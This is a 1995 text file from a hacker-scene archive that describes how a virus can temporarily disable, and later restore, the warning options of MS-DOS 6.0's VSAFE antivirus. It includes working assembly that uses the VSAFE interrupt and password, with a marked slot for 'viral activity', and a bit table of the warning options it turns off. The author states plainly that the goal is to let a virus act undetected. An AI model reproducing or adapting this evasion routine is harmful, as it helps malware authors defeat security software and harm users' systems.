home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / SOURCE.ZIP / NULVSAFE.TXT < prev    next >
Text File  |  1995-01-01  |  3KB  |  56 lines

  1. =============================================================================
  2. A new, completely transparent method of deactivating/reactivating VSAFE
  3. =============================================================================
  4.  
  5. After just a few minutes of analysis several months ago, I discovered a way to
  6. bypass VSAFE which is far less detectable than the usual de-installation. The
  7. total removal of VSAFE by a virus would arouse suspicion and would be
  8. incredibly obvious if some other TSR had been installed after VSAFE, since
  9. VSAFE displays an alert box in such a case warning that VSAFE cannot be
  10. removed.
  11.  
  12. The new method involves changing, temporarily, the control byte used by VSAFE
  13. to determine the warning options selected by the user.  Not only is this
  14. warning option control byte trivial to reset, but VSAFE actually RETURNS THE
  15. PREVIOUS WARNING OPTION BYTE to the calling routine, allowing the warning
  16. options to be reset to their original values after a virus has done its dirty
  17. deed!  This temporary deactivation of VSAFE would be totally undetectable by
  18. the computer user.  A virus could simply deactivate all or a selected number
  19. of VSAFE's warning options, do anything that it wants, then restore VSAFE to
  20. its original state.
  21.  
  22. The simple routine listed below has been tested on the MS-DOS 6.0 version of
  23. VSAFE only.  However, it is likely that it will work on all other versions of
  24. VSAFE, also.
  25.  
  26. Here's the code:
  27.  
  28. mov     ax,0fa02                ;reset VSAFE (fa) warning options (02)
  29. push    ax                      ;store value for future use
  30. mov     bl,0                    ;warning options = none (see below)
  31. mov     dx,05945                ;password     
  32. push    dx                      ;store value for future use
  33. int     016                     ;do it
  34. push    cx                      ;store previous settings returned by VSAFE
  35. ;--------------
  36. ;viral activity
  37. ;--------------
  38. pop     cx
  39. pop     dx
  40. pop     ax
  41. mov     bl,cl                   ;move previous warning option settings back
  42. int     016                     ;restore previous warning settings
  43.  
  44. The warning control byte (sent in bl, returned in cl) is set up as follows:
  45.  
  46. Bit                                  Value
  47. ---                                  -----
  48.  0  -  HD low level format             1  =  select option
  49.  1  -  Residence attempt               0  =  deselect option
  50.  2  -  General write protect
  51.  3  -  Check executable files
  52.  4  -  Boot sector virus
  53.  5  -  Protect HD boot sector
  54.  6  -  Protect FD boot sector
  55.  7  -  Protect executable files
  56.